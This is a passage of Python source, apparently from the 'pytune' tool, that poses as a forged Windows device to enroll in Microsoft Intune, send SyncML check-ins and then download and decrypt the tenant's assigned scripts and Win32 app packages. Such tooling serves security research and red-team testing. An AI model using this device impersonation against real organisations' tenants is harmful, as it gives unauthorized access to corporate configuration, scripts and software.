32 | )
33 | return access_token
34 |
35 | def send_enroll_request(self, enrollment_url, csr_pem, csr_token, ztdregistrationid):
36 | claims = jwt.decode(csr_token, options={"verify_signature":False}, algorithms=['RS256'])
37 | hwdevid = f"{self.deviceid}{claims['tid']}".replace('-', '')
38 | token_b64 = base64.b64encode(csr_token.encode('utf-8')).decode('utf-8')
39 | message_id = str(uuid.uuid4())
40 | body = f'''
41 |
42 |
43 | http://schemas.microsoft.com/windows/pki/2009/01/enrollment/RST/wstep
44 | urn:uuid:{message_id}
45 |
46 | http://www.w3.org/2005/08/addressing/anonymous
47 |
48 | {enrollment_url}
49 |
50 | {token_b64}
51 |
52 |
53 |
54 |
55 | http://schemas.microsoft.com/5.0.0.0/ConfigurationManager/Enrollment/DeviceEnrollmentToken
56 | http://docs.oasis-open.org/ws-sx/ws-trust/200512/Issue
57 | {csr_pem}
58 |
59 |
60 | true
61 |
62 |
63 | {hwdevid}
64 |
65 |
66 | true
67 |
68 |
69 | false
70 |
71 | REPLACE_ZEROTOUCH_PROVISIONING
72 |
73 | en-US
74 |
75 |
76 | false
77 |
78 |
79 | null
80 |
81 |
82 | 72
83 |
84 |
85 | {self.device_name}
86 |
87 |
88 | 00-00-00-00-00-00
89 |
90 |
91 | {self.deviceid.replace('-', '')}
92 |
93 |
94 | Device
95 |
96 |
97 | CIMClient_Windows
98 |
99 |
100 | {self.os_version}
101 |
102 |
103 | {self.os_version}
104 |
105 |
106 |
107 |
108 |
109 | '''
110 |
111 | if ztdregistrationid:
112 | replace_str = f'''
113 |
114 | {ztdregistrationid}
115 |
116 | '''
117 | body = body.replace('REPLACE_ZEROTOUCH_PROVISIONING', replace_str)
118 | else:
119 | body = body.replace('REPLACE_ZEROTOUCH_PROVISIONING', '')
120 |
121 | response = requests.post(
122 | url=enrollment_url,
123 | data=body,
124 | headers={"Content-Type": "application/soap+xml; charset=utf-8"},
125 | proxies=self.proxy,
126 | verify=False
127 | )
128 | xml = ET.fromstring(response.content.decode('utf-8'))
129 | binary_security_token = xml.find('.//{http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd}BinarySecurityToken').text
130 | return base64.b64decode(binary_security_token).decode('utf-8')
131 |
132 | def generate_initial_syncml(self, sessionid, imei):
133 | syncml_data = self.generate_syncml_header(1, sessionid, imei)
134 |
135 | syncml_data["SyncML"]["SyncBody"] = {
136 | "Alert": [],
137 | "Replace": {
138 | "CmdID": "6",
139 | "Item": [
140 | {
141 | "Source": {"LocURI": "./DevInfo/DevId"},
142 | "Data": f"imei:{imei}",
143 | },
144 | {
145 | "Source": {"LocURI": "./DevInfo/Man"},
146 | "Data": self.get_syncml_data("./DevInfo/Man")["Data"]
147 | },
148 | {
149 | "Source": {"LocURI": "./DevInfo/Mod"},
150 | "Data": self.get_syncml_data("./DevInfo/Mod")["Data"]
151 | },
152 | {
153 | "Source": {"LocURI": "./DevInfo/DmV"},
154 | "Data": self.get_syncml_data("./DevInfo/DmV")["Data"]
155 | },
156 | {
157 | "Source": {"LocURI": "./DevInfo/Lang"},
158 | "Data": self.get_syncml_data("./DevInfo/Lang")["Data"]
159 | }
160 | ],
161 | },
162 | "Final": None
163 | }
164 |
165 | if self.hwhash:
166 | syncml_data["SyncML"]["SyncBody"]["Alert"] = [
167 | {"CmdID": "2", "Data": "1201"},
168 | {"CmdID": "3", "Data": "1224", "Item": {"Meta": {"Type": {"@xmlns": "syncml:metinf", "#text": "com.microsoft/MDM/LoginStatus"}},"Data": {"@xmlns": "SYNCML:SYNCML1.2", "#text":"others"}}},
169 | {"CmdID": "4", "Data": "1224", "Item": {"Meta": {"Type": {"@xmlns": "syncml:metinf", "#text": "com.microsoft/MDM/BootstrapSync"}},"Data": {"@xmlns": "SYNCML:SYNCML1.2", "#text":"device"}}},
170 | {"CmdID": "5", "Data": "1224", "Item": {"Meta": {"Type": {"@xmlns": "syncml:metinf", "#text": "com.microsoft/MDM/OdjSync"}},"Data": {"@xmlns": "SYNCML:SYNCML1.2", "#text":"device"}}}]
171 |
172 | return xmltodict.unparse(syncml_data, pretty=False)
173 |
174 | def get_syncml_data(self, key):
175 | offset = timedelta(hours=9)
176 | now = datetime.now()
177 | jst = timezone(offset)
178 | dt_with_tz = now.astimezone(jst)
179 | formatted_date = dt_with_tz.isoformat()
180 | data = {
181 | f"./DevInfo/DmV": {
182 | "Format": "int",
183 | "Data": '1.3'
184 | },
185 | f"./Vendor/MSFT/NodeCache/MS%20DM%20Server": {
186 | "Format": "chr",
187 | "Data": 'CacheVersion/Nodes/ChangedNodes/ChangedNodesData'
188 | },
189 | f"./Vendor/MSFT/NodeCache/MS%20DM%20Server/CacheVersion": {
190 | "Format": "chr",
191 | "Data": None
192 | },
193 | f"./Vendor/MSFT/NodeCache/MS%20DM%20Server/ChangedNodes": {
194 | "Format": "chr",
195 | "Data": None
196 | },
197 | f"./Device/Vendor/MSFT/DeviceManageability/Provider/MS%20DM%20Server/ConfigInfo": {
198 | "Format": "chr",
199 | "Data": None
200 | },
201 | f"./Device/Vendor/MSFT/DeviceManageability/Provider/WMI_Bridge_Server/ConfigInfo": {
202 | "Format": "chr",
203 | "Data": None
204 | },
205 | f"./Vendor/MSFT/Policy/Config/Security/RequireRetrieveHealthCertificateOnBoot": {
206 | "Format": "chr",
207 | "Data": None
208 | },
209 |
210 | f"./Vendor/MSFT/DMClient/Provider/MS%20DM%20Server/ExchangeID": {
211 | "Format": "chr",
212 | "Data": self.uid
213 | },
214 | f"./Device/Vendor/MSFT/DeviceManageability/Capabilities/CSPVersions": {
215 | "Format": "chr",
216 | "Data": '<?xml version="1.0" encoding="utf-8"?><DeviceManageability Version="com.microsoft/1.1/MDM/DeviceManageability"><Capabilities><CSPVersions><CSP Node="./DevDetail" Version="1.2"></CSP><CSP Node="./DevInfo" Version="1.0"></CSP><CSP Node="./Device/Vendor/MSFT/AssignedAccess" Version="4.0"></CSP><CSP Node="./Device/Vendor/MSFT/BitLocker" Version="5.0"></CSP><CSP Node="./Device/Vendor/MSFT/ClientCertificateInstall" Version="1.1"></CSP><CSP Node="./Device/Vendor/MSFT/DMClient" Version="1.5"></CSP><CSP Node="./Device/Vendor/MSFT/DeclaredConfiguration" Version="1.0"></CSP><CSP Node="./Device/Vendor/MSFT/DeviceManageability" Version="2.0"></CSP><CSP Node="./Device/Vendor/MSFT/DeviceUpdateCenter" Version="2.0"></CSP><CSP Node="./Device/Vendor/MSFT/EnrollmentStatusTracking" Version="1.0"></CSP><CSP Node="./Device/Vendor/MSFT/EnterpriseAppVManagement" Version="1.0"></CSP><CSP Node="./Device/Vendor/MSFT/EnterpriseDataProtection" Version="4.0"></CSP><CSP Node="./Device/Vendor/MSFT/EnterpriseDesktopAppManagement" Version="1.0"></CSP><CSP Node="./Device/Vendor/MSFT/EnterpriseModernAppManagement" Version="1.2"></CSP><CSP Node="./Device/Vendor/MSFT/GPCSEWrapper" Version="1.0"></CSP><CSP Node="./Device/Vendor/MSFT/NetworkQoSPolicy" Version="1.0"></CSP><CSP Node="./Device/Vendor/MSFT/OfflineDomainJoin" Version="1.0"></CSP><CSP Node="./Device/Vendor/MSFT/OptionalFeatures" Version="1.1"></CSP><CSP Node="./Device/Vendor/MSFT/PassportForWork" Version="1.6"></CSP><CSP Node="./Device/Vendor/MSFT/Policy" Version="10.0"></CSP><CSP Node="./Device/Vendor/MSFT/PolicyManager/DeviceLock" Version="1.0"></CSP><CSP Node="./Device/Vendor/MSFT/PolicyManager/Security" Version="1.0"></CSP><CSP Node="./Device/Vendor/MSFT/Reboot" Version="1.0"></CSP><CSP Node="./Device/Vendor/MSFT/RemoteLock" Version="1.1"></CSP><CSP Node="./Device/Vendor/MSFT/RootCATrustedCertificates" Version="1.1"></CSP><CSP Node="./Device/Vendor/MSFT/VPNv2" Version="1.0"></CSP><CSP Node="./Device/Vendor/MSFT/WindowsAdvancedThreatProtection" Version="1.2"></CSP><CSP Node="./Device/Vendor/MSFT/WindowsDefenderApplicationGuard" Version="1.4"></CSP><CSP Node="./Device/Vendor/MSFT/WindowsIoT" Version="1.0"></CSP><CSP Node="./Device/Vendor/MSFT/WindowsLicensing" Version="1.4"></CSP><CSP Node="./SyncML/DMAcc" Version="1.1"></CSP><CSP Node="./SyncML/DMS" Version="1.0"></CSP><CSP Node="./User/Vendor/MSFT/ActiveSync" Version="1.0"></CSP><CSP Node="./User/Vendor/MSFT/ClientCertificateInstall" Version="1.1"></CSP><CSP Node="./User/Vendor/MSFT/DMClient" Version="1.5"></CSP><CSP Node="./User/Vendor/MSFT/DMSessionActions" Version="1.1"></CSP><CSP Node="./User/Vendor/MSFT/DeclaredConfiguration" Version="1.0"></CSP><CSP Node="./User/Vendor/MSFT/EMAIL2" Version="1.0"></CSP><CSP Node="./User/Vendor/MSFT/EnrollmentStatusTracking" Version="1.0"></CSP><CSP Node="./User/Vendor/MSFT/EnterpriseAppVManagement" Version="1.0"></CSP><CSP Node="./User/Vendor/MSFT/EnterpriseDesktopAppManagement" Version="1.0"></CSP><CSP Node="./User/Vendor/MSFT/EnterpriseModernAppManagement" Version="1.2"></CSP><CSP Node="./User/Vendor/MSFT/GPCSEWrapper" Version="1.0"></CSP><CSP Node="./User/Vendor/MSFT/NodeCache" Version="1.2"></CSP><CSP Node="./User/Vendor/MSFT/PassportForWork" Version="1.6"></CSP><CSP Node="./User/Vendor/MSFT/Policy" Version="10.0"></CSP><CSP Node="./User/Vendor/MSFT/PolicyManager/DeviceLock" Version="1.0"></CSP><CSP Node="./User/Vendor/MSFT/PolicyManager/Security" Version="1.0"></CSP><CSP Node="./User/Vendor/MSFT/PrinterProvisioning" Version="1.0"></CSP><CSP Node="./User/Vendor/MSFT/RootCATrustedCertificates" Version="1.1"></CSP><CSP Node="./User/Vendor/MSFT/VPNv2" Version="1.0"></CSP><CSP Node="./User/Vendor/MSFT/WiFi" Version="1.0"></CSP><CSP Node="./Vendor/MSFT/ActiveSync" Version="1.0"></CSP><CSP Node="./Vendor/MSFT/AppLocker" Version="1.0"></CSP><CSP Node="./Vendor/MSFT/CMPolicy" Version="1.0"></CSP><CSP Node="./Vendor/MSFT/CMPolicyEnterprise" Version="1.0"></CSP><CSP Node="./Vendor/MSFT/CellularSettings" Version="1.0"></CSP><CSP Node="./Vendor/MSFT/CertificateStore" Version="1.0"></CSP><CSP Node="./Vendor/MSFT/CleanPC" Version="1.0"></CSP><CSP Node="./Vendor/MSFT/DMClient" Version="1.5"></CSP><CSP Node="./Vendor/MSFT/DMSessionActions" Version="1.1"></CSP><CSP Node="./Vendor/MSFT/DeclaredConfiguration" Version="1.0"></CSP><CSP Node="./Vendor/MSFT/Defender" Version="1.2"></CSP><CSP Node="./Vendor/MSFT/DeviceLock" Version="1.0"></CSP><CSP Node="./Vendor/MSFT/DeviceStatus" Version="1.5"></CSP><CSP Node="./Vendor/MSFT/DeviceUpdate" Version="1.0"></CSP><CSP Node="./Vendor/MSFT/DiagnosticLog" Version="1.4"></CSP><CSP Node="./Vendor/MSFT/DynamicManagement" Version="1.0"></CSP><CSP Node="./Vendor/MSFT/EMAIL2" Version="1.0"></CSP><CSP Node="./Vendor/MSFT/EnterpriseAPN" Version="1.0"></CSP><CSP Node="./Vendor/MSFT/EnterpriseModernAppManagement" Version="1.2"></CSP><CSP Node="./Vendor/MSFT/Firewall" Version="1.0"></CSP><CSP Node="./Vendor/MSFT/GPCSEWrapper" Version="1.0"></CSP><CSP Node="./Vendor/MSFT/HealthAttestation" Version="1.3"></CSP><CSP Node="./Vendor/MSFT/LanguagePackManagement" Version="1.0"></CSP><CSP Node="./Vendor/MSFT/Maps" Version="1.0"></CSP><CSP Node="./Vendor/MSFT/MultiSIM" Version="1.0"></CSP><CSP Node="./Vendor/MSFT/NetworkProxy" Version="1.0"></CSP><CSP Node="./Vendor/MSFT/NodeCache" Version="1.2"></CSP><CSP Node="./Vendor/MSFT/Office" Version="1.5"></CSP><CSP Node="./Vendor/MSFT/PassportForWork" Version="1.6"></CSP><CSP Node="./Vendor/MSFT/Personalization" Version="1.0"></CSP><CSP Node="./Vendor/MSFT/Policy/NetworkIsolation" Version="1.0"></CSP><CSP Node="./Vendor/MSFT/PolicyManager/DeviceLock" Version="1.0"></CSP><CSP Node="./Vendor/MSFT/PolicyManager/Security" Version="1.0"></CSP><CSP Node="./Vendor/MSFT/RemoteFind" Version="1.0"></CSP><CSP Node="./Vendor/MSFT/RemoteLock" Version="1.1"></CSP><CSP Node="./Vendor/MSFT/RemoteWipe" Version="1.1"></CSP><CSP Node="./Vendor/MSFT/Reporting" Version="2.1"></CSP><CSP Node="./Vendor/MSFT/SUPL" Version="1.2"></CSP><CSP Node="./Vendor/MSFT/SecureAssessment" Version="1.1"></CSP><CSP Node="./Vendor/MSFT/SecurityPolicy" Version="1.0"></CSP><CSP Node="./Vendor/MSFT/SharedPC" Version="1.2"></CSP><CSP Node="./Vendor/MSFT/Storage" Version="1.0"></CSP><CSP Node="./Vendor/MSFT/TPMPolicy" Version="1.0"></CSP><CSP Node="./Vendor/MSFT/TenantLockdown" Version="1.0"></CSP><CSP Node="./Vendor/MSFT/UnifiedWriteFilter" Version="1.0"></CSP><CSP Node="./Vendor/MSFT/Update" Version="1.1"></CSP><CSP Node="./Vendor/MSFT/VPNv2" Version="1.0"></CSP><CSP Node="./Vendor/MSFT/WiFi" Version="1.0"></CSP><CSP Node="./Vendor/MSFT/Win32AppInventory" Version="1.0"></CSP><CSP Node="./Vendor/MSFT/WindowsAutopilot" Version="1.0"></CSP><CSP Node="./Vendor/MSFT/WindowsLicensing" Version="1.4"></CSP><CSP Node="./Vendor/MSFT/eUICCs" Version="1.2"></CSP><CSP Node="./Vendor/MSFT/uefi" Version="1.0"></CSP><CSP Node="./cimv2/MDM_AppInstallJob" Version="1.0"></CSP><CSP Node="./cimv2/MDM_Application" Version="1.0"></CSP><CSP Node="./cimv2/MDM_ApplicationFramework" Version="1.0"></CSP><CSP Node="./cimv2/MDM_ApplicationSetting" Version="1.0"></CSP><CSP Node="./cimv2/MDM_BrowserSecurityZones" Version="1.0"></CSP><CSP Node="./cimv2/MDM_BrowserSettings" Version="1.0"></CSP><CSP Node="./cimv2/MDM_Certificate" Version="1.0"></CSP><CSP Node="./cimv2/MDM_CertificateEnrollment" Version="1.0"></CSP><CSP Node="./cimv2/MDM_Client" Version="1.0"></CSP><CSP Node="./cimv2/MDM_ConfigSetting" Version="1.0"></CSP><CSP Node="./cimv2/MDM_EASPolicy" Version="1.0"></CSP><CSP Node="./cimv2/MDM_MgmtAuthority" Version="1.0"></CSP><CSP Node="./cimv2/MDM_RemoteAppUserCookie" Version="1.0"></CSP><CSP Node="./cimv2/MDM_RemoteApplication" Version="1.0"></CSP><CSP Node="./cimv2/MDM_Restrictions" Version="1.0"></CSP><CSP Node="./cimv2/MDM_RestrictionsUser" Version="1.0"></CSP><CSP Node="./cimv2/MDM_SecurityStatus" Version="1.0"></CSP><CSP Node="./cimv2/MDM_SecurityStatusUser" Version="1.0"></CSP><CSP Node="./cimv2/MDM_SideLoader" Version="1.0"></CSP><CSP Node="./cimv2/MDM_Updates" Version="1.0"></CSP><CSP Node="./cimv2/MDM_VpnApplicationTrigger" Version="1.0"></CSP><CSP Node="./cimv2/MDM_VpnConnection" Version="1.0"></CSP><CSP Node="./cimv2/MDM_WNSChannel" Version="1.0"></CSP><CSP Node="./cimv2/MDM_WNSConfiguration" Version="1.0"></CSP><CSP Node="./cimv2/MDM_WebApplication" Version="1.0"></CSP><CSP Node="./cimv2/MDM_WirelessProfile" Version="1.0"></CSP><CSP Node="./cimv2/MDM_WirelessProfileXml" Version="1.0"></CSP><CSP Node="./cimv2/MSFT_NetFirewallProfile" Version="1.0"></CSP><CSP Node="./cimv2/MSFT_VpnConnection" Version="1.0"></CSP><CSP Node="./cimv2/Win32_DisplayConfiguration" Version="1.0"></CSP><CSP Node="./cimv2/Win32_EncryptableVolume" Version="1.0"></CSP><CSP Node="./cimv2/Win32_InfraredDevice" Version="1.0"></CSP><CSP Node="./cimv2/Win32_LocalTime" Version="1.0"></CSP><CSP Node="./cimv2/Win32_LogicalDisk" Version="1.0"></CSP><CSP Node="./cimv2/Win32_NetworkAdapter" Version="1.0"></CSP><CSP Node="./cimv2/Win32_NetworkAdapterConfiguration" Version="1.0"></CSP><CSP Node="./cimv2/Win32_OperatingSystem" Version="1.0"></CSP><CSP Node="./cimv2/Win32_PhysicalMemory" Version="1.0"></CSP><CSP Node="./cimv2/Win32_PnPDevice" Version="1.0"></CSP><CSP Node="./cimv2/Win32_PortableBattery" Version="1.0"></CSP><CSP Node="./cimv2/Win32_Processor" Version="1.0"></CSP><CSP Node="./cimv2/Win32_QuickFixEngineering" Version="1.0"></CSP><CSP Node="./cimv2/Win32_Registry" Version="1.0"></CSP><CSP Node="./cimv2/Win32_Service" Version="1.0"></CSP><CSP Node="./cimv2/Win32_Share" Version="1.0"></CSP><CSP Node="./cimv2/Win32_SystemBIOS" Version="1.0"></CSP><CSP Node="./cimv2/Win32_SystemEnclosure" Version="1.0"></CSP><CSP Node="./cimv2/Win32_TimeZone" Version="1.0"></CSP><CSP Node="./cimv2/Win32_UTCTime" Version="1.0"></CSP><CSP Node="./cimv2/Win32_WindowsUpdateAgentVersion" Version="1.0"></CSP><CSP Node="./cimv2/WpcAppOverride" Version="1.0"></CSP><CSP Node="./cimv2/WpcGameOverride" Version="1.0"></CSP><CSP Node="./cimv2/WpcGamesSettings" Version="1.0"></CSP><CSP Node="./cimv2/WpcRating" Version="1.0"></CSP><CSP Node="./cimv2/WpcRatingsDescriptor" Version="1.0"></CSP><CSP Node="./cimv2/WpcRatingsSystem" Version="1.0"></CSP><CSP Node="./cimv2/WpcSystemSettings" Version="1.0"></CSP><CSP Node="./cimv2/WpcURLOverride" Version="1.0"></CSP><CSP Node="./cimv2/WpcUserSettings" Version="1.0"></CSP><CSP Node="./cimv2/WpcWebSettings" Version="1.0"></CSP></CSPVersions></Capabilities></DeviceManageability>'
217 | },
218 | f"./DevDetail/Ext/Microsoft/LocalTime": {
219 | "Format": "chr",
220 | "Data": formatted_date
221 | },
222 | f"./Device/DevDetail/Ext/Microsoft/LocalTime": {
223 | "Format": "chr",
224 | "Data": formatted_date
225 | },
226 | f"./DevDetail/Ext/Microsoft/DeviceName": {
227 | "Format": "chr",
228 | "Data": self.device_name
229 | },
230 | f"./Device/DevDetail/SwV": {
231 | "Format": "chr",
232 | "Data": self.os_version
233 | },
234 | f"./DevDetail/SwV": {
235 | "Format": "chr",
236 | "Data": self.os_version
237 | },
238 | f"./Vendor/MSFT/WindowsLicensing/Edition": {
239 | "Format": "int",
240 | "Data": "4"
241 | },
242 | f"./Vendor/MSFT/Update/LastSuccessfulScanTime": {
243 | "Format": "chr",
244 | "Data": formatted_date
245 | },
246 | f"./Vendor/MSFT/DeviceStatus/OS/Mode": {
247 | "Format": "int",
248 | "Data": "0"
249 | },
250 | f"./Vendor/MSFT/DMClient/Provider/MS%20DM%20Server/EntDMID": {
251 | "Format": "chr",
252 | "Data": self.deviceid
253 | },
254 | f"./DevInfo/Man": {
255 | "Format": "chr",
256 | "Data": "Microsoft Corporation"
257 | },
258 | f"./Device/DevInfo/Lang": {
259 | "Format": "chr",
260 | "Data": "en-US"
261 | },
262 | f"./DevInfo/Lang": {
263 | "Format": "chr",
264 | "Data": "en-US"
265 | },
266 | f"./Device/DevDetail/Ext/Microsoft/OSPlatform": {
267 | "Format": "chr",
268 | "Data": "Windows 10 Enterprise"
269 | },
270 | f"./Device/Vendor/MSFT/DeviceInformation/Version": {
271 | "Format": "chr",
272 | "Data": self.os_version
273 | },
274 | f"./DevInfo/Mod": {
275 | "Format": "chr",
276 | "Data": "VMware7.1"
277 | },
278 | f"./Vendor/MSFT/DeviceStatus/OS/Edition": {
279 | "Format": "int",
280 | "Data": "4"
281 | },
282 | f"./DevDetail/FwV": {
283 | "Format": "chr",
284 | "Data": "VMW71.00V.00000000.000.0000000000"
285 | },
286 | f"./DevDetail/Ext/Microsoft/OSPlatform": {
287 | "Format": "chr",
288 | "Data": "Windows 10 Enterprise"
289 | },
290 | f"./DevDetail/Ext/Microsoft/DNSComputerName": {
291 | "Format": "chr",
292 | "Data": self.device_name
293 | },
294 | f"./Device/DevInfo/DmV": {
295 | "Format": "chr",
296 | "Data": "1.3"
297 | },
298 | f"./Device/DevDetail/HwV": {
299 | "Format": "chr",
300 | "Data": "Hyper-V UEFI Release v4.0"
301 | },
302 | f"./Device/DevDetail/DevTyp": {
303 | "Format": "chr",
304 | "Data": "VMware 7.1"
305 | },
306 | f"./Device/DevDetail/OEM": {
307 | "Format": "chr",
308 | "Data": "Microsoft Corporation"
309 | },
310 | f"./DevDetail/Ext/Microsoft/ProcessorArchitecture": {
311 | "Format": "int",
312 | "Data": "9"
313 | },
314 | f"./Vendor/MSFT/DMClient/HWDevID": {
315 | "Format": "chr",
316 | "Data": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
317 | },
318 | f"./Vendor/MSFT/DMClient/Provider/MS%20DM%20Server/PublisherDeviceID": {
319 | "Format": "chr",
320 | "Data": None
321 | },
322 | f"./Vendor/MSFT/DMClient/Provider/MS%20DM%20Server/EntDeviceName": {
323 | "Format": "chr",
324 | "Data": self.device_name
325 | },
326 | f"./Vendor/MSFT/DMClient/Provider/MS%20DM%20Server/ForceAadToken": {
327 | "Format": "int",
328 | "Data": 1
329 | },
330 | f"./Device/Vendor/MSFT/BitLocker/Status/DeviceEncryptionStatus": {
331 | "Format": "int",
332 | "Data": 2
333 | },
334 | f"./Vendor/MSFT/DMClient/Provider/MS%20DM%20Server/AADResourceID": {
335 | "Format": "chr",
336 | "Data": "https://manage.microsoft.com/"
337 | },
338 | f"./DevDetail/Ext/DeviceHardwareData": {
339 | "Format":"chr",
340 | "Data":self.hwhash
341 | },
342 | f"./Vendor/MSFT/WindowsAutopilot/HardwareMismatchRemediationData": {
343 | "Format":"chr",
344 | "Data":None
345 | },
346 | }
347 | if key in data:
348 | return data[key]
349 | else:
350 | return None
351 |
352 | def send_syncml(self, data, certpath, keypath):
353 | response = requests.post(
354 | url=self.checkin_url,
355 | data=data,
356 | headers={
357 | 'User-Agent': f'MSFT {self.os} OMA DM Client/2.7' , 'Content-Type': 'application/vnd.syncml.dm+xml',
358 | },
359 | cert=(certpath, keypath)
360 | )
361 | return response.content
362 |
363 | def download_apps(self, mdmpfx):
364 | certpath = 'pytune_mdm.crt'
365 | keypath = 'pytune_mdm.key'
366 | extract_pfx(mdmpfx, certpath, keypath)
367 |
368 | ime = IME(self.device_name, certpath, keypath)
369 |
370 | self.logger.info(f'downloading scripts...')
371 | policies = ime.request_policy()
372 | if len(policies) == 0:
373 | self.logger.error(f'available scripts not found')
374 | else:
375 | self.logger.alert(f'scripts found!')
376 | i = 1
377 | for policy in policies:
378 | self.logger.info(f'#{i} (policyid:{policy["PolicyId"]}):\n')
379 | print(policy["PolicyBody"] + '\n')
380 | i=i+1
381 |
382 | self.logger.info(f'downloading win32apps...')
383 | apps = ime.get_selected_app()
384 | if len(apps) == 0:
385 | self.logger.error(f'available intunewin file not found')
386 |
387 | for app in apps:
388 | self.logger.alert(f'found {app["Name"]}!')
389 | content_info = ime.get_content_info(app)
390 | upload_location = json.loads(content_info["ContentInfo"])["UploadLocation"]
391 | decrypt_info = ime.decrypt_decryptinfo(content_info["DecryptInfo"])
392 | self.logger.info(f'downloading from {upload_location} ...')
393 | ime.download_decrypt_intunewin(app["Name"], upload_location, decrypt_info["EncryptionKey"], decrypt_info["IV"])
394 | self.logger.success(f'successfully downloaded to {app["Name"]}.intunewin!')
395 |
396 |
397 | os.remove(certpath)
398 | os.remove(keypath)
399 |
400 | class IME():
401 | def __init__(self, device_name, certpath, keypath):
402 | self.device_name = device_name
403 | self.certpath = certpath
404 | self.keypath = keypath
405 |
406 | def create_request_data(self, sessionid, gateway_api, request_payload=None):
407 | if request_payload == None:
408 | request_payload_str = "[]"
409 | else:
410 | request_payload_str = json.dumps(request_payload)
411 |
412 | data = {
413 | "Key": sessionid,
414 | "SessionId": sessionid,
415 | "RequestContentType": gateway_api,
416 | "RequestPayload": request_payload_str,
417 | "ResponseContentType": None,
418 | "ClientInfo": json.dumps({
419 | "DeviceName": self.device_name,
420 | "OperatingSystemVersion": "10.0.19045",
421 | "SideCarAgentVersion": "1.83.107.0",
422 | "Win10SMode": False,
423 | "UnlockWin10SModeTenantId": None,
424 | "UnlockWin10SModeDeviceId": None,
425 | "ChannelUriInformation": None,
426 | "AgentExecutionStartTime": "10/11/2024 23:15:42",
427 | "AgentExecutionEndTime": "10/11/2024 23:15:38",
428 | "AgentCrashSeen": True,
429 | "ExtendedInventoryMap": {
430 | "OperatingSystemRevisionNumber": "2006",
431 | "SKU": "72",
432 | "DotNetFrameworkReleaseValue": "528372"
433 | }
434 | }),
435 | "ResponsePayload": None,
436 | "EnabledFlights": None,
437 | "CheckinIntervalMinutes": None,
438 | "GenericWorkloadRequests": None,
439 | "GenericWorkloadResponse": None,
440 | "CheckinReason": "AgentRestart",
441 | "CheckinReasonPayload": None
442 | }
443 | return data
444 |
445 | def resolve_service_address(self):
446 | response = requests.get(
447 | url='https://manage.microsoft.com/RestUserAuthLocationService/RestUserAuthLocationService/Certificate/ServiceAddresses',
448 | cert=(self.certpath, self.keypath),
449 | )
450 |
451 | services = response.json()[0]["Services"]
452 | sidecar_url = None
453 | for service in services:
454 | if service['ServiceName'] == 'SideCarGatewayService':
455 | sidecar_url = service['Url']
456 | return sidecar_url
457 |
458 | def decrypt_decryptinfo(self, decryptinfo):
459 | start = decryptinfo.find('') + len('')
460 | end = decryptinfo.find('')
461 | encrypted_content = decryptinfo[start:end].strip()
462 | smime_file = 'smime.p7m'
463 | save_encrypted_message_as_smime(encrypted_content, smime_file)
464 | decrypted_content = decrypt_smime_file(smime_file, self.keypath)
465 | decrypt_info = json.loads(decrypted_content)
466 | os.remove(smime_file)
467 | return decrypt_info
468 |
469 | def decompress_string(self, compressed_text):
470 | buffer = base64.b64decode(compressed_text)
471 | data_length = struct.unpack('I', buffer[:4])[0]
472 | memory_stream = io.BytesIO(buffer[4:])
473 |
474 | with gzip.GzipFile(fileobj=memory_stream, mode='rb') as gzip_stream:
475 | decompressed_data = gzip_stream.read(data_length)
476 |
477 | return decompressed_data.decode('utf-8')
478 |
479 | def get_selected_app(self):
480 |
481 | sidecar_url = self.resolve_service_address()
482 | sessionid = str(uuid.uuid4())
483 | data = self.create_request_data(sessionid, "GetSelectedApp")
484 |
485 | headers = {
486 | 'Content-Type': 'application/json',
487 | 'Prefer': 'return-content',
488 | }
489 |
490 | response = requests.put(
491 | url=f'{sidecar_url}/SideCarGatewaySessions(\'{sessionid}\')?api-version=1.5',
492 | cert=(self.certpath, self.keypath),
493 | data=json.dumps(data),
494 | headers=headers,
495 | )
496 |
497 | response_payload = response.json()['ResponsePayload']
498 | decompressed_string = self.decompress_string(response_payload)
499 | return json.loads(decompressed_string)
500 |
501 | def get_content_info(self, assigned_app):
502 | sidecar_url = self.resolve_service_address()
503 | with open(self.certpath, 'rb') as pem_file:
504 | pem_data = pem_file.read()
505 |
506 | cert = x509.load_pem_x509_certificate(pem_data, default_backend())
507 | cert_base64 = base64.b64encode(cert.public_bytes(Encoding.DER)).decode('utf-8')
508 |
509 | request_payload = {
510 | "ApplicationId": assigned_app['Id'],
511 | "ApplicationVersion": assigned_app["Version"],
512 | "Intent": assigned_app["Intent"],
513 | "CertificateBlob": cert_base64,
514 | "ContentInfo": None,
515 | "SecondaryContentInfo": None,
516 | "DecryptInfo": None,
517 | "UploadLocation": None,
518 | "TargetingMethod": 0,
519 | "ErrorCode": None,
520 | "TargetType": 2,
521 | "InstallContext": 2,
522 | "EspPhase": 2,
523 | "ApplicationName": assigned_app['Name'],
524 | "AssignmentFilterIds": None,
525 | "ManagedInstallerStatus": 1,
526 | "ApplicationEnforcement": 0
527 | }
528 | sessionid = str(uuid.uuid4())
529 | data = self.create_request_data(sessionid, "GetContentInfo", request_payload)
530 |
531 | headers = {
532 | 'Content-Type': 'application/json',
533 | 'Prefer': 'return-content'
534 | }
535 |
536 | response = requests.put(
537 | url=f'{sidecar_url}/SideCarGatewaySessions(\'{sessionid}\')?api-version=1.5',
538 | cert=(self.certpath, self.keypath),
539 | data=json.dumps(data),
540 | headers=headers,
541 | )
542 |
543 | response_payload = response.json()["ResponsePayload"]
544 | return json.loads(response_payload)
545 |
546 | def download_decrypt_intunewin(self, appname, upload_location, key, iv):
547 | response = requests.get(
548 | url=upload_location
549 | )
550 |
551 | decrypted_data = aes_decrypt(key, iv, response.content[48:])
552 | with open(f'{appname}.intunewin', 'wb') as f:
553 | f.write(decrypted_data)
554 |
555 | def request_policy(self):
556 | sidecar_url = self.resolve_service_address()
557 | if sidecar_url == None:
558 | self.logger.error(f'SidecCarGatewayService not found')
559 | return
560 |
561 | sessionid = str(uuid.uuid4())
562 | data = self.create_request_data(sessionid, "PolicyRequest")
563 | headers = {
564 | 'Content-Type': 'application/json',
565 | 'Prefer': 'return-content'
566 | }
567 |
568 | response = requests.put(
569 | url=f'{sidecar_url}/SideCarGatewaySessions(\'{sessionid}\')?api-version=1.5',
570 | cert=(self.certpath, self.keypath),
571 | data=json.dumps(data),
572 | headers=headers,
573 | )
574 | response_payload = response.json()["ResponsePayload"]
575 | return json.loads(response_payload)
576 |
--------------------------------------------------------------------------------
/pytune.py:
--------------------------------------------------------------------------------
1 | import jwt
2 | import getpass
3 | import argparse
4 | from colr import color
5 | from device.device import Device
6 | from device.android import Android
7 | from device.windows import Windows
